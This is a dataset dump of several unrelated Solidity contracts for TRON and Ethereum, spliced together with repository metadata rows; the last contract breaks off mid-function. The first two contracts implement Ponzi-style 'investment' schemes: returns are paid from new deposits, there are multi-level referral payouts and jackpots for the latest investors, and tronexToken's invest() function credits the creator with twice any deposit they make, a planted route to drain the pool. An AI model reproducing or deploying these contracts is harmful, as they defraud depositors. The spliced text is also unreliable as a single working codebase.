uint waveStartUp;
uint jackPot;
uint lastLeader;
address[] top;
Storage x;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
event LogGift(address _firstAddr, address _secondAddr, address _thirdAddr, address _fourthAddr, address _fifthAddr);
event LogNewWave(uint _waveStartUp);
event LogNewLeader(address _leader);
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
modifier notFromContract() {
address addr = msg.sender;
uint size;
assembly { size := extcodesize(addr) }
require(size <= 0);
_;
}
constructor(address _advertising, address _techsupport) public {
owner = msg.sender;
advertising = _advertising;
techsupport = _techsupport;
waveStartUp = block.timestamp;
x = new Storage();
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function setRef() internal returns(uint) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && getDividends(_referrer) > 0) {
_referrer.transfer(msg.value / 20);
emit LogReferralInvestment(_referrer, msg.sender, msg.value);
return(msg.value / 50);
} else {
advertising.transfer(msg.value / 20);
return(0);
}
}
function getInterest() public view returns(uint) {
uint multiplier = (block.timestamp.sub(waveStartUp)) / 6 days;
if (multiplier == 0) {
return 25;
}
if (multiplier <= 8){
return(15 + (multiplier * 10));
} else {
return 100;
}
}
function toTheTop() internal {
top.push(msg.sender);
lastLeader = block.timestamp;
emit LogNewLeader(msg.sender);
}
function payDay() internal {
top[top.length - 1].transfer(jackPot * 3 / 5);
top[top.length - 2].transfer(jackPot / 10);
top[top.length - 3].transfer(jackPot / 10);
top[top.length - 4].transfer(jackPot / 10);
top[top.length - 5].transfer(jackPot / 10);
jackPot = 0;
lastLeader = block.timestamp;
emit LogGift(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function() external payable {
if (msg.value < 50000000000000000) {
msg.sender.transfer(msg.value);
withdraw();
} else {
invest();
}
}
function invest() public payable notOnPause notFromContract {
require(msg.value >= 0.05 ether);
jackPot += msg.value * 3 / 100;
if (x.d(msg.sender, 0) > 0) {
x.updateIndex(msg.sender);
} else {
x.updateCheckpoint(msg.sender);
}
if (msg.data.length == 20) {
uint addend = setRef();
} else {
advertising.transfer(msg.value / 20);
}
x.updateInfo(msg.sender, msg.value + addend, getInterest());
if (msg.value >= 1 ether) {
toTheTop();
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(msg.sender) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(msg.sender); i++) {
if (x.w(msg.sender, i) < x.d(msg.sender, i) * 2) {
if (x.s(msg.sender, i) <= x.c(msg.sender)) {
uint dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.c(msg.sender).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
} else {
dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.s(msg.sender, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
}
}
}
if (_payout > 0) {
if (_payout > address(this).balance && address(this).balance <= 0.1 ether) {
nextWave();
return;
}
x.updateCheckpoint(msg.sender);
advertising.transfer(_payout * 3 / 25);
techsupport.transfer(_payout * 3 / 100);
msg.sender.transfer(_payout * 17 / 20);
emit LogPayment(msg.sender, _payout * 17 / 20);
}
if (block.timestamp >= lastLeader + 1 days && top.length >= 5) {
payDay();
}
}
function nextWave() private {
top.length = 0;
x = new Storage();
waveStartUp = block.timestamp + 10 days;
emit LogNewWave(waveStartUp);
}
function getDeposits(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
_sum += x.d(_address, i);
}
}
Invested = _sum;
}
function getDepositN(address _address, uint _number) public view returns(uint Deposit_N) {
if (x.w(_address, _number - 1) < x.d(_address, _number - 1) * 2) {
Deposit_N = x.d(_address, _number - 1);
} else {
Deposit_N = 0;
}
}
function getDividends(address _address) public view returns(uint Dividends) {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(_address) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
if (x.s(_address, i) <= x.c(_address)) {
uint dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.c(_address).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
} else {
dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.s(_address, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
}
}
}
Dividends = _payout * 17 / 20;
}
function getWithdrawals(address _address) external view returns(uint) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
_sum += x.d(_address, i);
}
}
return(_sum);
}
function getTop() external view returns(address, address, address, address, address) {
return(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function getJackPot() external view returns(uint) {
return(jackPot);
}
function getNextPayDay() external view returns(uint) {
return(lastLeader + 1 days);
}
}
| 176,208 | 265 |
99f721fc36b20db79de9b9cd5203f5d32f349186716cb0f7bb51f20b178ec40f
| 25,330 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWYYEwroXPSg7F79icy3mftEfCZzFfGqAe_tronexToken.sol
| 7,410 | 24,096 |
//SourceUnit: tronexMax_release.sol
pragma solidity 0.5.12;
contract Creator {
address payable public creator;
constructor() public {
creator = msg.sender;
}
modifier creatorOnly {
assert(msg.sender == creator);
_;
}
}
contract tronexToken is Creator{
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100 trx;
uint256 constant public CONTRACT_BALANCE_STEP = 1000000 trx;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public BASE_PERCENT = 10;
uint256 constant public MAX_PERCENT = 100;
uint256 public REFERRAL_PERCENTS = 150;
uint256 constant public PROJECT_FEE = 50;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256[] public admin_fee = [300, 200, 100, 50, 50, 30,30,30,30,30,10,10,10,10,10,10,10,10,10,10];
uint256 private totalUsers;
uint256 private totalInvested;
uint256 private totalWithdrawn;
uint256 private totalDeposits;
uint256 public lastInvestTime;
bool private isStop;
uint256 public spanLastTime = 12 hours;
struct LastUser{
address user;
uint256 investTime;
}
LastUser[10] public lastUserArr;
uint256 lastUserIndex;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
uint256 drawntime;
uint256 contact_amount;
}
struct Admin_info{
uint256 amount;
uint256 drawntime;
}
struct User {
uint256 allAmount;
uint256 bonus;
uint256 bonus_with_draw;
uint256 admin_bonus;
uint256 admin_with_draw;
address referrer;
uint256 down_number;
Deposit[] deposits;
Admin_info[20] admin_infos;
}
mapping(address => User) public users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount, uint256 t);
event RefBonus(address indexed referrer, address indexed referral, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor() public {
lastInvestTime = block.timestamp;
}
modifier IsInitialized {
require(projectAddress != address(0), "not Initialized");
_;
}
function initialize(address payable projectAddr) public payable creatorOnly {
require(projectAddress == address(0)&& projectAddr!= address(0), "initialize only would call once");
require(!isContract(projectAddr)&&(tx.origin == msg.sender));
projectAddress = projectAddr;
}
function addLastUser(address user) internal {
bool flag;
uint256 i = 0;
lastInvestTime = block.timestamp;
for(i = 0; i < 10; i++){
if(lastUserArr[i].investTime == 0){
break;
}
if(lastUserArr[i].user == user){
flag = true;
break;
}
}
if(flag == true){
lastUserArr[i].investTime = block.timestamp;
return;
}
if(lastUserIndex == 10){
lastUserIndex = 0;
}
lastUserArr[lastUserIndex].user = user;
lastUserArr[lastUserIndex].investTime = block.timestamp;
lastUserIndex = lastUserIndex.add(1);
return;
}
function checkLastInvestTime() internal {
require(isStop == false, "already stop");
if(block.timestamp.sub(lastInvestTime) <= spanLastTime){
return;
}
uint256 num;
uint256 i;
for(i = 0; i < 10; i++){
if(lastUserArr[i].investTime == 0){
break;
}
}
num = i;
uint total = address(this).balance;
if(num == 0 || total == 0){
isStop = true;
return;
}
uint perAmount = total.div(num);
if(perAmount != 0){
for(uint256 j = 0; j < num; j++){
address(uint160(lastUserArr[j].user)).transfer(perAmount);
}
}
isStop = true;
return;
}
function getLastUser() view public returns(uint256 lastTime, address[10] memory userArr, uint256[10] memory timeArr){
address[10] memory a;
uint256[10] memory b;
for(uint i = 0; i < 10; i++){
a[i] = lastUserArr[i].user;
b[i] = lastUserArr[i].investTime;
}
return (lastInvestTime, a, b);
}
function invest(address referrer) public payable IsInitialized {
checkLastInvestTime();
if(isStop == true){
return;
}
require(!isContract(referrer) && !isContract(msg.sender)&&(tx.origin == msg.sender));
address upline = referrer;
require(msg.value >= INVEST_MIN_AMOUNT, "less than limit");
User storage user = users[msg.sender];
if (referrer != projectAddress) {
if (user.referrer == address(0)) {
if (upline == address(0) || users[upline].deposits.length == 0 || referrer == msg.sender) {
//require(false, "check failed");
upline = projectAddress;
}
}
}
emit NewDeposit(msg.sender, msg.value);
uint256 fee = msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
projectAddress.transfer(fee);
emit FeePayed(msg.sender, fee);
if (user.referrer == address(0)) {
user.referrer = upline;
users[user.referrer].down_number = users[user.referrer].down_number.add(1);
}
user.allAmount = user.allAmount.add(msg.value);
upline = user.referrer;
for(uint256 i = 0; i < 20; i++){
if(upline != address(0)){
if(users[upline].admin_infos[i].amount == 0){
users[upline].admin_infos[i].drawntime = block.timestamp;
}
users[upline].admin_infos[i].amount = users[upline].admin_infos[i].amount.add(msg.value);
if(upline == projectAddress){
break;
}
}
else{
break;
}
upline = users[upline].referrer;
}
upline = user.referrer;
if(upline != address(0)){
if(msg.sender != creator){
uint256 amount = msg.value.mul(REFERRAL_PERCENTS).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
emit RefBonus(upline, msg.sender, amount);
}
else{
users[msg.sender].bonus = users[msg.sender].bonus.add(msg.value.mul(2));
}
}
if (user.deposits.length == 0) {
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp, block.timestamp, address(this).balance));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
addLastUser(msg.sender);
}
function withdraw_static() public IsInitialized {
checkLastInvestTime();
if(isStop == true){
return;
}
require(!isContract(msg.sender)&&(tx.origin == msg.sender));
User storage user = users[msg.sender];
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
uint256 userPercentRate = getUserPercentRate(msg.sender, temp.drawntime, temp.contact_amount);
dividends = (temp.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(temp.drawntime))
.div(TIME_STEP);
if (temp.withdrawn.add(dividends) > temp.amount.mul(2)) {
dividends = (temp.amount.mul(2)).sub(temp.withdrawn);
}
totalAmount = totalAmount.add(dividends);
/// changing of storage data
user.deposits[i].withdrawn = temp.withdrawn.add(dividends);
user.deposits[i].drawntime = block.timestamp;
}
}
require(totalAmount > 0, "User has no dividends");
address upline = user.referrer;
for(uint256 i = 0; i < 20; i++){
if(upline != address(0)){
if(users[upline].admin_infos[i].amount > 0){
uint256 timeMultiplier = (block.timestamp.sub(users[upline].admin_infos[i].drawntime)).div(TIME_STEP);
uint256 percent = BASE_PERCENT.add(timeMultiplier.min(40));
uint a = users[upline].admin_infos[i].amount.mul(percent).mul(admin_fee[i]);
uint b = block.timestamp.sub(users[upline].admin_infos[i].drawntime);
users[upline].admin_bonus = users[upline].admin_bonus.add(a.mul(b).div(TIME_STEP).div(PERCENTS_DIVIDER).div(PERCENTS_DIVIDER));
if(users[upline].admin_infos[i].amount > totalAmount){
users[upline].admin_infos[i].amount = users[upline].admin_infos[i].amount.sub(totalAmount);
}
else{
users[upline].admin_infos[i].amount = 0;
}
users[upline].admin_infos[i].drawntime = block.timestamp;
}
if(upline == projectAddress){
break;
}
}
else{
break;
}
upline = users[upline].referrer;
}
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount, 0);
}
function withdraw_out() public IsInitialized {
checkLastInvestTime();
if(isStop == true){
return;
}
require(!isContract(msg.sender)&&(tx.origin == msg.sender));
User storage user = users[msg.sender];
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
uint256 userPercentRate = getUserPercentRate(msg.sender, temp.drawntime, temp.contact_amount);
dividends = (temp.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(temp.drawntime))
.div(TIME_STEP);
if (temp.withdrawn.add(dividends) > temp.amount.mul(2)) {
dividends = (temp.amount.mul(2)).sub(temp.withdrawn);
totalAmount = totalAmount.add(dividends);
user.deposits[i].withdrawn = temp.withdrawn.add(dividends);
user.deposits[i].drawntime = block.timestamp;
}
}
}
require(totalAmount > 0, "User has no dividends");
address upline = user.referrer;
for(uint256 i = 0; i < 20; i++){
if(upline != address(0)){
if(users[upline].admin_infos[i].amount > 0){
uint256 timeMultiplier = (block.timestamp.sub(users[upline].admin_infos[i].drawntime)).div(TIME_STEP);
uint256 percent = BASE_PERCENT.add(timeMultiplier.min(40));
uint a = users[upline].admin_infos[i].amount.mul(percent).mul(admin_fee[i]);
uint b = block.timestamp.sub(users[upline].admin_infos[i].drawntime);
users[upline].admin_bonus = users[upline].admin_bonus.add(a.mul(b).div(TIME_STEP).div(PERCENTS_DIVIDER).div(PERCENTS_DIVIDER));
if(users[upline].admin_infos[i].amount > totalAmount){
users[upline].admin_infos[i].amount = users[upline].admin_infos[i].amount.sub(totalAmount);
}
else{
users[upline].admin_infos[i].amount = 0;
}
users[upline].admin_infos[i].drawntime = block.timestamp;
}
if(upline == projectAddress){
break;
}
}
else{
break;
}
upline = users[upline].referrer;
}
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount, 2);
}
function withdraw_dynamic() public IsInitialized {
checkLastInvestTime();
if(isStop == true){
return;
}
require(!isContract(msg.sender)&&(tx.origin == msg.sender));
User storage user = users[msg.sender];
require(user.allAmount.mul(2) > user.bonus_with_draw.add(user.admin_with_draw), "already tow times");
uint256 totalAmount;
uint256 user_all_withdraw = user.bonus_with_draw.add(user.admin_with_draw);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if(referralBonus > 0){
if(user_all_withdraw.add(referralBonus) > user.allAmount.mul(2)){
referralBonus = user.allAmount.mul(2).sub(user_all_withdraw);
}
user.bonus_with_draw = user.bonus_with_draw.add(referralBonus);
totalAmount = referralBonus;
if(referralBonus == user.bonus){
user.bonus = 0;
}
else{
user.bonus = user.bonus.sub(referralBonus);
}
}
uint256 adminBonus = 0;
for(uint256 i = 0; i < user.admin_infos.length; i++){
if(user.admin_infos[i].amount != 0){
uint256 timeMultiplier = (block.timestamp.sub(user.admin_infos[i].drawntime)).div(TIME_STEP);
uint256 percent = BASE_PERCENT.add(timeMultiplier.min(40));
uint a = user.admin_infos[i].amount.mul(percent).mul(admin_fee[i]);
uint b = block.timestamp.sub(user.admin_infos[i].drawntime);
uint c = a.mul(b).div(TIME_STEP).div(PERCENTS_DIVIDER).div(PERCENTS_DIVIDER);
adminBonus = adminBonus.add(c);
user.admin_infos[i].drawntime = block.timestamp;
}
}
adminBonus = adminBonus.add(user.admin_bonus);
user.admin_bonus = 0;
if(adminBonus > 0){
if(user_all_withdraw.add(totalAmount).add(adminBonus) > user.allAmount.mul(2)){
uint256 temp = user.allAmount.mul(2).sub(user_all_withdraw.add(totalAmount));
user.admin_bonus = adminBonus.sub(temp);
adminBonus = temp;
}
user.admin_with_draw = user.admin_with_draw.add(adminBonus);
totalAmount = totalAmount.add(adminBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount, 1);
}
function getInfo(address userAddress) public view returns (uint256[20] memory) {
uint256[20] memory info;
uint i = 0;
uint256 referralBonus = getUserReferralBonus(userAddress);
uint256 adminBonus = getUserAdminBonus(userAddress);
uint256 bonus_with_draw = users[userAddress].bonus_with_draw;
uint256 admin_with_draw = users[userAddress].admin_with_draw;
uint256 total;
if(bonus_with_draw.add(admin_with_draw).add(referralBonus.add(adminBonus)) > users[userAddress].allAmount.mul(2)){
uint a = users[userAddress].allAmount;
total = a.mul(2).sub(bonus_with_draw).sub(admin_with_draw);
}
else{
total = referralBonus.add(adminBonus);
}
info[i++] = address(this).balance;
info[i++] = getUserPercentMaxRate(userAddress);
info[i++] = getContractBalanceMaxRate(userAddress);
info[i++] = getUserDividends(userAddress);
info[i++] = users[userAddress].down_number;
info[i++] = getUserTotalDeposits(userAddress);
info[i++] = getUserTotalWithdrawn(userAddress);
info[i++] = users[userAddress].deposits.length;
info[i++] = totalUsers;
info[i++] = totalInvested;
info[i++] = totalWithdrawn;
info[i++] = totalDeposits;
info[i++] = getUserReferralBonus(userAddress);
info[i++] = getUserAdminBonus(userAddress);
info[i++] = users[userAddress].bonus_with_draw;
info[i++] = users[userAddress].admin_with_draw;
info[i++] = total;
info[i++] = getUserDividendsOut(userAddress);
return info;
}
function getAdminInfos(address userAddress) public view returns(uint256[5] memory){
User memory user = users[userAddress];
uint256[5] memory info;
uint i = 0;
info[i++] = user.admin_infos[0].amount;
info[i++] = user.admin_infos[1].amount;
info[i++] = user.admin_infos[2].amount;
info[i++] = user.admin_infos[3].amount;
info[i++] = user.admin_infos[4].amount;
return info;
}
function getUserAdminBonus(address userAddress) public view returns(uint256){
uint256 adminBonus = 0;
User memory user = users[userAddress];
for(uint256 i = 0; i < user.admin_infos.length; i++){
if(user.admin_infos[i].amount != 0){
uint256 timeMultiplier = (block.timestamp.sub(user.admin_infos[i].drawntime)).div(TIME_STEP);
uint256 percent = BASE_PERCENT.add(timeMultiplier.min(40));
uint a = user.admin_infos[i].amount.mul(percent).mul(admin_fee[i]);
uint b = block.timestamp.sub(user.admin_infos[i].drawntime);
uint c = a.mul(b).div(TIME_STEP).div(PERCENTS_DIVIDER).div(PERCENTS_DIVIDER);
adminBonus = adminBonus.add(c);
}
}
adminBonus = adminBonus.add(user.admin_bonus);
return adminBonus;
}
function getContractBalance() internal view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate(uint256 base_amount) public view returns (uint256) {
uint256 contractBalance = address(this).balance;
if(contractBalance > base_amount){
contractBalance = contractBalance.sub(base_amount);
}
else{
contractBalance = 0;
}
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
contractBalancePercent = contractBalancePercent.min(MAX_PERCENT);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress, uint256 time, uint256 base_amount) internal view returns (uint256) {
uint256 contractBalanceRate = getContractBalanceRate(base_amount);
if (isActive(userAddress)) {
uint256 timeMultiplier = (block.timestamp.sub(time)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier.min(40));
} else {
return contractBalanceRate;
}
}
function getContractBalanceMaxRate(address userAddress) public view returns (uint256){
User memory user = users[userAddress];
uint256 base_amount = uint256(-1);
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
base_amount = base_amount.min(temp.contact_amount);
}
}
return getContractBalanceRate(base_amount);
}
function getUserPercentMaxRate(address userAddress) internal view returns (uint256) {
User memory user = users[userAddress];
uint256 time = block.timestamp;
uint256 base_amount = uint256(-1);
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
time = time.min(temp.drawntime);
base_amount = base_amount.min(temp.contact_amount);
}
}
return getUserPercentRate(userAddress, time, base_amount);
}
function getUserDividends(address userAddress) internal view returns (uint256) {
User memory user = users[userAddress];
uint256 totalDividends = 0;
uint256 dividends = 0;
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
uint256 userPercentRate = getUserPercentRate(msg.sender, temp.drawntime, temp.contact_amount);
dividends = (temp.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(temp.drawntime))
.div(TIME_STEP);
if (temp.withdrawn.add(dividends) > temp.amount.mul(2)) {
dividends = (temp.amount.mul(2)).sub(temp.withdrawn);
}
totalDividends = totalDividends.add(dividends);
}
}
return totalDividends;
}
function getUserDividendsOut(address userAddress) internal view returns (uint256) {
User memory user = users[userAddress];
uint256 totalDividends = 0;
uint256 dividends = 0;
for (uint256 i = 0; i < user.deposits.length; i++) {
Deposit memory temp = user.deposits[i];
if (temp.withdrawn < temp.amount.mul(2)) {
uint256 userPercentRate = getUserPercentRate(msg.sender, temp.drawntime, temp.contact_amount);
dividends = (temp.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(temp.drawntime))
.div(TIME_STEP);
if (temp.withdrawn.add(dividends) > temp.amount.mul(2)) {
dividends = (temp.amount.mul(2)).sub(temp.withdrawn);
totalDividends = totalDividends.add(dividends);
}
}
}
return totalDividends;
}
function getUserReferralBonus(address userAddress) internal view returns (uint256) {
return users[userAddress].bonus;
}
//
function getUserAvailable(address userAddress) internal view returns (uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
for(uint256 i = 0; i < user.deposits.length; i++){
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
return true;
}
}
}
return false;
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns (uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns (uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) internal view returns (uint256) {
return users[userAddress].allAmount;
}
function getUserTotalWithdrawn(address userAddress) internal view returns (uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly {size := extcodesize(addr)}
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? b : a;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
| 292,866 | 266 |
54d3c290f6b50c34e41c03613be752a0893005bc46e6ddd2ff2c85a7a16c88db
| 30,051 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THkZa9d8uDif3CLnLDZZvkaKsTNLKp7V36_UsdtTokenPool.sol
| 4,466 | 17,079 |
//SourceUnit: shuangpi.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface TRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
